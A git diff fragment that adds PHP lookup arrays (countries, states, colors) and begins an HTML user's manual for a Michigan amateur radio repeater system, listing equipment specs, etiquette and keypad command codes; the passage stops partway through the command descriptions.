+       "MV" => "Maldives",
+       "ML" => "Mali",
+       "MT" => "Malta",
+       "MH" => "Marshall Islands",
+       "MQ" => "Martinique",
+       "MR" => "Mauritania",
+       "MU" => "Mauritius",
+       "YT" => "Mayotte",
+       "MX" => "Mexico",
+       "FM" => "Micronesia&#44; Federated States of",
+       "MD" => "Moldova&#44; Republic of",
+       "MC" => "Monaco",
+       "MN" => "Mongolia",
+       "MS" => "Montserrat",
+       "MA" => "Morocco",
+       "MZ" => "Mozambique",
+       "MM" => "Myanmar",
+       "NA" => "Namibia",
+       "NR" => "Nauru",
+       "NP" => "Nepal",
+       "NL" => "Netherlands",
+       "AN" => "Netherlands Antilles",
+       "NC" => "New Caledonia",
+       "NZ" => "New Zealand",
+       "NI" => "Nicaragua",
+       "NE" => "Niger",
+       "NG" => "Nigeria",
+       "NU" => "Niue",
+       "NF" => "Norfolk Island",
+       "MP" => "Northern Mariana Islands",
+       "NO" => "Norway",
+       "OM" => "Oman",
+       "PK" => "Pakistan",
+       "PW" => "Palau",
+       "PS" => "Palestinian Territory&#44; Occupied",
+       "PA" => "Panama",
+       "PG" => "Papua New Guinea",
+       "PY" => "Paraguay",
+       "PE" => "Peru",
+       "PH" => "Philippines",
+       "PN" => "Pitcairn",
+       "PL" => "Poland",
+       "PT" => "Portugal",
+       "PR" => "Puerto Rico",
+       "QA" => "Qatar",
+       "RE" => "Reunion",
+       "RO" => "Romania",
+       "RU" => "Russian Federation",
+       "RW" => "Rwanda",
+       "SH" => "Saint Helena",
+       "KN" => "Saint Kitts and Nevis",
+       "LC" => "Saint Lucia",
+       "PM" => "Saint Pierre and Miquelon",
+       "VC" => "Saint Vincent and the Grenadines",
+       "WS" => "Samoa",
+       "SM" => "San Marino",
+       "ST" => "Sao Tome and Principe",
+       "SA" => "Saudi Arabia",
+       "SN" => "Senegal",
+       "CS" => "Serbia and Montenegro",
+       "SC" => "Seychelles",
+       "SL" => "Sierra Leone",
+       "SG" => "Singapore",
+       "SK" => "Slovakia",
+       "SI" => "Slovenia",
+       "SB" => "Solomon Islands",
+       "SO" => "Somalia",
+       "ZA" => "South Africa",
+       "GS" => "South Georgia&#44; South Sandwich Islands",
+       "ES" => "Spain",
+       "LK" => "Sri Lanka",
+       "SD" => "Sudan",
+       "SR" => "Suriname",
+       "SJ" => "Svalbard and Jan Mayen",
+       "SZ" => "Swaziland",
+       "SE" => "Sweden",
+       "CH" => "Switzerland",
+       "SY" => "Syrian Arab Republic",
+       "TW" => "Taiwan&#44; Province of China",
+       "TJ" => "Tajikistan",
+       "TZ" => "Tanzania&#44; United Republic of",
+       "TH" => "Thailand",
+       "TL" => "Timor-Leste",
+       "TG" => "Togo",
+       "TK" => "Tokelau",
+       "TO" => "Tonga",
+       "TT" => "Trinidad and Tobago",
+       "TN" => "Tunisia",
+       "TR" => "Turkey",
+       "TM" => "Turkmenistan",
+       "TC" => "Turks and Caicos Islands",
+       "TV" => "Tuvalu",
+       "UG" => "Uganda",
+       "UA" => "Ukraine",
+       "AE" => "United Arab Emirates",
+       "GB" => "United Kingdom",
+       "US" => "United States",
+       "UM" => "United States minor outlying islands",
+       "UY" => "Uruguay",
+       "UZ" => "Uzbekistan",
+       "VU" => "Vanuatu",
+       "VE" => "Venezuela",
+       "VN" => "Viet Nam",
+       "VG" => "Virgin Islands&#44; British",
+       "VI" => "Virgin Islands&#44; U&#46;S&#46;",
+       "WF" => "Wallis and Futuna",
+       "EH" => "Western Sahara",
+       "YE" => "Yemen",
+       "ZM" => "Zambia",
+       "ZW" => "Zimbabwe"
+       );      
+
+$si_countries_list = $s = "";
+while( list($k, $v) = each($si_countries_array) ) 
+       {
+       $si_countries_list .= "$s$k^$v";
+       $s = "~";
+       }
+       
+$si_states_array = array 
+       (
+       "AL" => "Alabama",
+       "AK" => "Alaska",
+       "AB" => "Alberta",
+       "AZ" => "Arizona",
+       "AR" => "Arkansas",
+       "BC" => "British Columbia",
+       "CA" => "California",
+       "CO" => "Colorado",
+       "CT" => "Connecticut",
+       "DE" => "Delaware",
+       "DC" => "District of Columbia",
+       "FL" => "Florida",
+       "GA" => "Georgia",
+       "GU" => "Guam",
+       "HI" => "Hawaii",
+       "ID" => "Idaho",
+       "IL" => "Illinois",
+       "IN" => "Indiana",
+       "IA" => "Iowa",
+       "KS" => "Kansas",
+       "KY" => "Kentucky",
+       "LA" => "Louisiana",
+       "ME" => "Maine",
+       "MB" => "Manitoba",
+       "MD" => "Maryland",
+       "MA" => "Massachusetts",
+       "MI" => "Michigan",
+       "MN" => "Minnesota",
+       "MS" => "Mississppi",
+       "MO" => "Missouri",
+       "MT" => "Montana",
+       "NE" => "Nebraska",
+       "NV" => "Nevada",
+       "NB" => "New Brunswick",
+       "NF" => "Newfoundland",
+       "NH" => "New Hampshire",
+       "NJ" => "New Jersey",
+       "NM" => "New Mexico",
+       "NY" => "New York",
+       "NC" => "North Carolina",
+       "ND" => "North Dakota",
+       "NT" => "Northwest Territories",
+       "NS" => "Nova Scotia",
+       "OH" => "Ohio",
+       "OK" => "Oklahoma",
+       "ON" => "Ontario",
+       "OR" => "Oregon",
+       "PA" => "Pennsylvania",
+       "PE" => "Prince Edward Island",
+       "PR" => "Puerto Rico",
+       "QC" => "Quebec",
+       "RI" => "Rhode Island",
+       "SK" => "Saskatchewan",
+       "SC" => "South Carolina",
+       "SD" => "South Dakota",
+       "TN" => "Tennessee",
+       "TX" => "Texas",
+       "UT" => "Utah",
+       "VT" => "Vermont",
+       "VI" => "Virgin Islands",
+       "VA" => "Virginia",
+       "WA" => "Washington",
+       "WV" => "West Virginia",
+       "WI" => "Wisconsin",
+       "WY" => "Wyoming",
+       "YT" => "Yukon"
+       );
+
+$si_states_list = $s = "";
+while( list($k, $v) = each($si_states_array) ) 
+       {
+       $si_states_list .= "$s$k^$v";
+       $s = "~";
+       }
+
+       // Websafe colors - Not including Black and White
+       
+$si_websafe_colors = array
+       (
+       "Beige"                 => "#F6D89F",
+       "Light Purple"  => "#8F9ABF",
+       "Gold"                  => "#EDBC49",
+       "Light Blus"    => "#4FC9F5",
+       "Pink"                  => "#F8C1D9",
+       "Tan"                   => "#C5B49A",
+       "Mint"                  => "#7DF2CA",
+       "Light Orange"  => "#FFCC99",
+       "Dark Blue"             => "#0099CC",
+       "Antique White" => "#FAEBD7",
+       "Lavendar"              => "#E6E6FA",
+       "Tomato"                => "#FF6347",
+       "Light Salmon"  => "#FFA07A"
+       );
+
+       // Build Websafe color list for use in standard function calls
+       
+$si_websafe_color_list = $s = "";
+while( list($k, $v) = each($si_websafe_colors) ) 
+       {
+       $si_websafe_color_list .= "$s$v^$k";
+       $s = "~";
+       }
+
+       // Other useable colors
+       
+$si_std_colors = array
+       (
+       "#006400",
+       "#00CED1",
+       "#00FA9A",
+       "#191970",
+       "#20B2AA",
+       "#228B22",
+       "#2F4F4F",
+       "#32CD32",
+       "#388E8E",
+       "#3CB371",
+       "#40E0D0",
+       "#4169E1",
+       "#4682B4",
+       "#483D8B",
+       "#48D1CC",
+       "#4B0082",
+       "#555555",
+       "#556B2F",
+       "#5F9EA0",
+       "#6495ED",
+       "#6A5ACD",
+       "#6B8E23",
+       "#708090",
+       "#7171C6",
+       "#71C671",
+       "#778899",
+       "#7B68EE",
+       "#7CFC00",
+       "#7D9EC0",
+       "#8470FF",
+       "#87CEEB",
+       "#87CEFA",
+       "#8A2BE2",
+       "#8E388E",
+       "#8E8E38",
+       "#8FBC8F",
+       "#9370DB",
+       "#9400D3",
+//     "#98FB98",
+       "#9932CC",
+       "#A020F0",
+       "#A0522D",
+       "#A52A2A",
+       "#A9A9A9",
+       "#AAAAAA",
+//     "#ADD8E6",
+       "#ADFF2F",
+       "#B03060",
+       "#B0C4DE",
+//     "#B0E0E6",
+       "#B22222",
+       "#B8860B",
+       "#BA55D3",
+       "#BC8F8F",
+       "#BDB76B",
+       "#BEBEBE",
+       "#C5C1AA",
+       "#C67171",
+       "#C71585",
+       "#CD5C5C",
+       "#D02090",
+       "#D2691E",
+       "#D2B48C",
+//     "#D3D3D3",
+       "#D8BFD8",
+       "#DA70D6",
+       "#DAA520",
+       "#DB7093",
+       "#DC143C",
+//     "#DCDCDC",
+       "#DDA0DD",
+       "#DEB887",
+//     "#E6E6FA",
+       "#E9967A",
+       "#EE82EE",
+//     "#EEE8AA",
+       "#F08080",
+//     "#F0E68C",
+//     "#F0F8FF",
+       "#F4A460",
+//     "#F5DEB3",
+//     "#F5F5DC",
+//     "#F5FFFA",
+//     "#F8F8FF",
+       "#FA8072",
+//     "#FAEBD7",
+//     "#FAF0E6",
+//     "#FAFAD2",
+//     "#FDF5E6",
+       "#FF69B4",
+       "#FF7F50",
+       "#FF8C00",
+       "#FFB6C1",
+       "#FFC0CB",
+       "#FFD700"
+//     "#FFE4B5",
+//     "#FFEBCD",
+//     "#FFEFD5",
+//     "#FFFAF0"
+       );
+
+       // Determine number of bits in an integer useable for a bitmap - PHP doesn't have sizeof()
+
+settype( $test_int, "integer" );
+$test_int = 1;
+for( $i=1 ; $i<100 ; $i++ )
+       {
+       $t = $test_int * 2;
+       $test_int = $test_int << 1;
+       if( $test_int != $t )
+               break;
+       }
+define( 'SI_INT_SIZE', $i );
+
+
+} // if( !isset($siteinfo) )
+
+?>
diff --git a/static/53.phtml b/static/53.phtml
new file mode 100755 (executable)
index 0000000..93e7b74
--- /dev/null
@@ -0,0 +1,1957 @@
+<HTML>
+       <HEAD>
+       </HEAD>
+       <BODY BGCOLOR="white">
+
+<H1>Stutsmanvill Repeater Complex - User's Manual</H1>
+<HR>
+<P>
+&nbsp;
+<P>
+<H2>Table of Contents</H2>
+<P>
+<UL>
+       <DD><A HREF="#SystemOverview">System Overview</A>
+       <DD><A HREF="#Etiquette">Repeater Operation and Etiquette</A>
+       <DD><A HREF="#Security">Registered User Security</A>
+       <DD><A HREF="#Help">On-Line Help System</A>
+       <DD><A HREF="#Commands">User Command Descriptions</A>
+               <UL>
+                       <DD><A HREF="#MainHelp">System Information and Help Messages</A>
+                       <DD><A HREF="#PL">PL Access Commands</A>
+                       <DD><A HREF="#VoiceMAil">Voice Mail and Bulletin Commands</A>
+                       <DD><A HREF="#Intra">Intra-System Linking COmmands</A>
+                       <DD><A HREF="#Preset">Preset Remote Base Linking Commands</A>
+                       <DD><A HREF="#Remote">General Remote Base Operations</A>
+                       <DD><A HREF="#Weather">Weather Alert and Monitoring Commands</A>
+                       <DD><A HREF="#SecurityAccess">Security and Access Commands</A>
+                       <DD><A HREF="#Test">Test and Diagnostic Commands</A>
+                       <DD><A HREF="#Status">System Status Commands</A>
+               </UL>
+       <DD><A HREF="#IRLP">IRLP - Internet Radio Linking Project</A>
+               <UL>
+                       <DD><A HREF="#IRLPGuidlines">IRLP Node Use Guidlines</A>
+               </UL>
+       <DD><A HREF="#CommandRef">User Command Reference</A>
+       <DD><A HREF="#RemoteBase">Remote Base User's Manual</A>
+               <UL>
+                       <DD><A HREF="#RemoteCmds">Remote Base Command Codes</A>
+                       <DD><A HREF="#RemRef">Remote Base Quick Reference Guide</A>
+               </UL>
+       
+</UL>
+
+<P>
+&nbsp;
+<P>
+<A NAME="SystemOverview"></A>
+<H2>System Overview</H2>
+The W8GQN/N8DNX/KO8P Repeater system, located on a hill just west of Stutsmanville Michigan, consists of the 
+Straits Area Amateur Radio Club (SAARC) VHF repeater and the N8DNX/KO8P privately owned UHF repeaters and 
+remote base. Both systems cover much of the Northern part of the Lower Peninsula, and Eastern part of 
+the Upper Peninsula of Michigan. These systems share a common controller, power systems and ancillary equipment.
+
+<TABLE BORDER="0">
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2">&nbsp;<P><U>W8GQN Repeater</U></TH></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Output Frequency:</TH>                <TD>146.680 MHz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Input Frequency:</TH>         <TD>146.080 MHz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Offset:</TH>                  <TD>-600 KHz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">PL Frequency:</TH>                    <TD>110.9 Hz (normally required)</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Repeater:</TH>                        <TD>GE Receiver<BR>
+                                                                       Quintron Transmitter</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Final Power:</TH>                     <TD>100W</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Duplexer:</TH>                        <TD>6 Can Custom<BR>
+                                                                       1.5 db loss (aprox)</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Transmission Line:</TH>               <TD>450' 7/8" Heliax<BR>
+                                                                       1.98 db loss (.44 db/ft)</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Line sharing:</TH>                    <TD>TX/RX Crossband Couplers (for sharing line with UHF Rptr)<BR>
+                                                                       .15 db loss each - total .3 db</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Antenna:</TH>                 <TD>Sinclair 4 Bay Dipole?<BR>
+                                                                       6 db gain</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Power to Antenna:</TH>                <TD>41.9 W</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">ERP:</TH>                             <TD>166.7 W</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Height on  Tower:</TH>                <TD>405'</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">HAAT:</TH>                            <TD>784'</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Height above Sea Level:</TH>  <TD>1655'</TD></TR>
+       
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2">&nbsp;<P><U>N8DNX Repeater</U></TH></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Output Frequency:</TH>                <TD>442.375 MHz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Input Frequency:</TH>         <TD>447.375 Mhz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Offset:</TH>                  <TD>+5.00 MHz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">PL Frequency:</TH>                    <TD>107.2 Hz (normally not required)</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Repeater:</TH>                        <TD>Vertex VXR-5000</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Amplifier:</TH>                       <TD>TPL</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Final Power:</TH>                     <TD>250W</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Duplexer:</TH>                        <TD>(none)</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Transmission Line:</TH>               <TD>Transmit - 450' 7/8" Heliax (shared with W8GQN repeater)<BR>
+                                                                       Receive - 550' LMR-400</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Tranmission Line Loss:</TH>   <TD>Transmit - 3.7 db<BR>
+                                                                       Receive - 14.85 (overcome by preamp gain)</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Line Sharing:</TH>                    <TD>TX/RX Crossband Couplers (for sharing line with VHF Rptr)<BR>
+                                                                       .15 db loss each - total .3 db</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Antenna:</TH>                 <TD>Transmit - Sinclair 8 Bay Dipole<BR>
+                                                                       Receive - Sinclair 8 Bay Dipole</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Power to Antenna:</TH>                <TD>55.9 W</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">ERP:</TH>                             <TD>444.2 W</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Height on Tower:</TH>         <TD>Transmit 405', Receive 477'</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">HAAT:</TH>                            <TD>Transmit 784', Receive 856'</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Height above Sea Level:</TH>  <TD>Transmit 1655', Receive 1727'</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Preamp:</TH>                  <TD>Angle Linear High Level Preamp - Gain ~ 20db (mounted at antenna)</TD></TR>
+
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2">&nbsp;<P><U>KO8P Repeater</U></TH></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Output Frequency:</TH>                <TD>443.375 MHz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Input Frequency:</TH>         <TD>448.375 MHz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Offset:</TH>                  <TD>+5.00 MHz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">PL Frequency:</TH>                    <TD>107.2 Hz (normally not required)</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Repeater:</TH>                        <TD>Vertex VXR-5000</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Final Power:</TH>                     <TD>25W</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Power to Antenna:</TH>                <TD>7.5 W</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">ERP:</TH>                             <TD>59.5 W</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2">(all other stats same as N8DNX Repeater)</TH></TR>
+       
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2">&nbsp;<P><U>Remote Base</U></TH></TR>
+       <TR><TH ALIGN="left" VALIGN="top">HF Radio:</TH>                        <TD>Kenwood TS-450S<BR>
+                                                                       Transmit: 160-10 Meter Ham Bands<BR>
+                                                                       Receive: .1 - 30 MHz continuous</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">HF Antenna:</TH>                      <TD>Hy-Gain 18HT vertical, currently with 17M kit and 30 60' radials</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">VHF/UHF Radio:</TH>           <TD>Yaesu FT-736<BR>
+                                                                       Transmit & Receive: 50, 144, 220, & 440 MHz All Modes</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">VHF/UHF Antennas:</TH>                <TD>Single 6 Meter folded dipole and Diamond X3200A for 144, 220, & 440 MHz</TD></TR>
+
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2">&nbsp;<P><U>Controller</U></TH></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Model:</TH>                   <TD>Link Communications RLC-3</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Radio Cards:</TH>                     <TD>8 </TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Audio Delay:</TH>                     <TD>Aprox. 200 ms on W8GQN and N8DNX repeaters</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Digital Voice Recorder:</TH>  <TD>DVR-1 with 16 MB memory - 35 Min. total record time</TD></TR>
+
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2">&nbsp;<P><U>Power</U></TH></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Primary Power:</TH>           <TD>110v AC</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Backup Power:</TH>                    <TD>Heart Interface 1KW Power Inverter</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Batteries:</TH>                       <TD>4 200 AH Sealed</TD></TR>
+</TABLE>
+<P>
+All systems are open for general use. A PL tone of 110.9 Hz is generally required on the W8GQN VHF repeater 
+to avoid interference with another nearby repeater. There is, however, a bypass code (*00) that will 
+temporarily remove the PL tone requirement and permit access by users who don't have PL tone capability. 
+Users are encouraged to use this code and distribute it freely.
+<P>
+Many features of these repeaters are available for use by anyone within range of the repeater and there is 
+on-line help available to assist users with those features. Other features are available only to registered users. 
+Registration is not intended to restrict use of those features, but rather to enable use of those features. 
+Registered users are encouraged to demonstrate those features for others and may activate and operate them 
+for non-registered and transient users.
+<P>
+The system has been designed and programmed to be as easy to use as possible. It is, however, still a 
+work-in-progress and users are encouraged to ask questions and suggest changes and improvements. Questions and 
+suggestions should be submitted to Chuck Scott N8DNX via E-Mail at <A HREF="mailto:info@n8dnx.org">info@n8dnx.org</A>.
+<P>
+<A NAME="Etiquette"></A>
+<H2>Repeater Operation and Etiquette</H2>
+<P> 
+Users should keep in mind the following items when using these repeaters.
+<P>
+<UL>
+       <LI>Keep transmissions relatively short. The repeater will timeout after 3 minutes.</LI>
+       <LI>Wait for the "courtesy beep" before starting your transmission.</LI>
+       <LI>Users who want to break into a conversation should simply say "Break" prior to the courtesy beep.</LI>
+       <LI>Users who want to break into a conversation with priority or emergency traffic should say 
+               "Break, Break, Break" prior to the courtesy beep, then wait to make sure their priority transmission 
+               doesn't "double" with another users transmission.</LI>
+       <LI>Emergency and health and welfare traffic always have priority over other communications.</LI>
+       <LI>It is common courtesy to permit other users to join a conversation.</LI>
+       <LI>It is impolite to break into an ongoing conversation for the purpose of initiating a separate conversation with another station.</LI>
+       <LI>It is impolite (and frankly illegal) to "kerchunk" (key up) the repeater without ID'ing.</LI>
+       <LI>Users should not acknowledge, intimidate or otherwise argue with any user who intentionally interferes 
+               with or attempts to disrupt repeater operations. Please report all such offenses to a system operator 
+               or club officer via telephone or on another frequency.</LI>
+       <LI>Always be polite, courteous and helpful to all other users of the repeater.</LI>
+</UL>
+<P>
+<A NAME="Security"></A>
+<H2>Registered User Security</H2>
+<P>
+Registered users are issued a "User Number" and a "Pass Code".  Your user number is public information. It 
+enables other users to send you private voice mail over the repeater. Your pass code is not public information 
+and you should not share it with other users of the repeater. If you believe that someone else has decoded your 
+pass code and may be using it, the system operator can issue you a more secure type of pass code that can't be 
+determined by monitoring your transmissions on the input frequency. 
+<P>
+<A NAME="Help"></A>
+<H2>On-Line Help System</H2>
+<P>
+The repeater system has an "on-line" help system that lists many of the more common commands user may need. 
+The help system is divided into a number of sections including system description and general help, and individual 
+descriptions for each logical group of commands. User may enter "999" to access the main system information and help 
+overview message.  All system information and help messages are "polite announcements" in that they stop when the 
+repeater receives a transmission. This permits a user to stop the transmission as soon as they've heard the information 
+of interest by briefly keying their transmitter.
+<P>
+<A NAME="Commands"></A>
+<H2>User Command Descriptions</H2>
+<P>
+All user commands are entered using the numeric keypad on your radio while you're transmitting into the repeater. Not 
+all commands are can be used by all users. The "User Level Required" field in the command descriptions below indicates 
+the user level required to execute each command. 
+<P>
+Before you can execute any command that requires user level 1 or higher, you must first log into the repeater using 
+your user number and pass code (see command 71).  You do not need to log into the repeater to use any level 0 command.
+<P>
+Each registered user is assigned a "User Level". The user level you are assigned depends on whether or not you are a 
+Remote Base user or if you are a control or system operator. If you are a Remote Base user, your user level is 
+determined by the class of your Ham Radio license.
+<P>
+<DL><DD><TABLE BORDER="0">
+       <TR><TH ALIGN="left">User Level</TH>            <TH ALIGN="left">Description</TH></TR>
+       <TR><TD>0</TD>                                  <TD>All users, no user registration or user number/pass code are required.</TD></TR>
+       <TR><TD>1</TD>                                  <TD>Registered user</TD></TR>
+       <TR><TD>2</TD>                                  <TD>Technician Class Remote Base users</TD></TR>
+       <TR><TD>3</TD>                                  <TD>General Class Remote Base users</TD></TR>
+       <TR><TD>4</TD>                                  <TD>Advanced Class Remote Base users</TD></TR>
+       <TR><TD>5</TD>                                  <TD>Extra Class Remote Base users</TD></TR>
+       <TR><TD>6</TD>                                  <TD>Control Operators</TD></TR>
+       <TR><TD>7</TD>                                  <TD>System programming</TD></TR>
+</TABLE></DL>
+<P>
+The curly braces "{" and "}" in a Command Code indicate that the user is to include other variable digits along 
+with the command. For example, the command ...
+<DL>
+       <DD>* {PhoneNumber}</DD>
+</DL>
+...indicates that the user should press "*" followed by the desired phone number.
+<P>
+Entering an incorrect command code, attempting to enter a command from a repeater port on which the command is 
+not available, or entering a command you are not authorized to use, may result in either no response from the 
+repeater or an error message. While some error messages are given by voice announcement, most error messages are 
+given by number. The following table lists possible numeric error messages and their meaning.
+<P>
+<DL><DD><TABLE BORDER="0">
+       <TR><TH ALIGN="left">Error Number</TH>          <TH ALIGN="left">Description</TH></TR>
+       <TR><TD>Error 200</TD>                          <TD>Command not found</TD></TR>
+       <TR><TD>Error 201</TD>                          <TD>Too few data digits entered</TD></TR>
+       <TR><TD>Error 202</TD>                          <TD>Too many data digits entered</TD></TR>
+       <TR><TD>Error 203</TD>                          <TD>ncorrect number of digits entered</TD></TR>
+       <TR><TD>Error 204</TD>                          <TD>Command not allowed from this repeater input</TD></TR>
+       <TR><TD>Error 205</TD>                          <TD>You do not have permission to use this command</TD></TR>
+       <TR><TD>Error 210</TD>                          <TD>Incorrect digits entered for this command</TD></TR>
+       <TR><TD>Error 212</TD>                          <TD>Bad Autopatch Number</TD></TR>
+       <TR><TD>Error 213</TD>                          <TD>General Autopatch error</TD></TR>
+       <TR><TD>Error 214</TD>                          <TD>User log-in is disabled</TD></TR>
+       <TR><TD>Error 215</TD>                          <TD>Digital Voice Recorder is busy</TD></TR>
+       <TR><TD>Error 217</TD>                          <TD>Bad command entered in Remote Base mode</TD></TR>
+</TABLE></DL>
+<P>
+<TABLE BORDER="0">
+       <TR><TH ALIGN="left" COLSPAN="2"><A NAME="MainHelp"></A>
+               &nbsp;<P><U>System Information and Help Messages</U>&nbsp;<P></TH></TR>
+       <TR><TH ALIGN="left" VALIGN="top" WIDTH="150">Command:</TH>     <TD>Announce system description and help system overview</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Command Code:</TH>            <TD>999</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>             
+               <TD>
+                       Main system description and help system overview voice announcement. This is a "polite" command.
+                       <P>
+                       Additional help announcements are available using the following codes.
+                       <P>
+                       <DL>
+                               <DD>29 Voice mail and bulletin announcement commands
+                               <DD>39 Intra-System linking commands
+                               <DD>49 Inter-System linking commands
+                               <DD>59 Remote Base commands
+                               <DD>69 Weather Radio commands
+                               <DD>79 User Access commands
+                               <DD>89 Test commands
+                               <DD>99 System Status commands
+                       </DL>
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="PL"></A>
+               &nbsp;<P><U>PL Access Commands</U>&nbsp;<P></TH></TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Bypass PL Decode requirement on VHF repeater for 15 minutes</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>*00</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>             
+               <TD>
+                       This command turns off the PL tone access requirement for the VHF repeater and 
+                       permits access by stations that can't transmit the 110.9 Hz PL tone normally required 
+                       to access the VHF repeater. After 15 minutes, PL access is automatically reinstated. 
+                       You do not need to transmit the 110.9 Hz PL tone to enter this command, thus stations 
+                       without PL can issue this command and access the repeater without assistance.  
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="VoiceMail"></A>
+               &nbsp;<P><U>Voice Mail and Bulletin Commands</U>&nbsp;<P></TH></TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Check for public voice mail</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>20</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Instructs the repeater to announce if there are any public voice mail messages available 
+                       to be read. If there are, the repeater will announce who those messages are for. If 
+                       there is more than one message, the sequence the repeater announces who they are for will 
+                       determine the number you will need to use to play a particular message using command code 21. 
+                       After listening to your message, you can delete that message using command code 22.
+                       <P>
+                       For example...
+                       <UL>
+                               <LI>You enter command code 20
+                               <LI>The repeater responds with "There is mail for, N8DNX, N8JBO"
+                               <LI>Since it announced N8JBO second, you use command code "21 2" to listen to the message.
+                               <LI>You then enter command code "22" to erase the message you just heard.
+                       </UL>
+                       Since the public voice mail commands do not require a user level above 0,  
+                       they can be used by any repeater user without any need to be "registered" or to log into the repeater.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Retrieve a Publc mail message</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>21 {MessageNumber}</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>             
+               <TD>
+                       Use this command to play a particular public mail message.
+                       <P>
+                       See command code 20 for an example of using this command.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Erase a Public mail message</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>22</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Erase the public mail message that has just been played. For this command to work, 
+                       you must enter it immediately after listening to the message using command code 21.
+                       <P>
+                       See command code 20 for an example of using this command.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+       
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Record a Public mail message</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>23</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
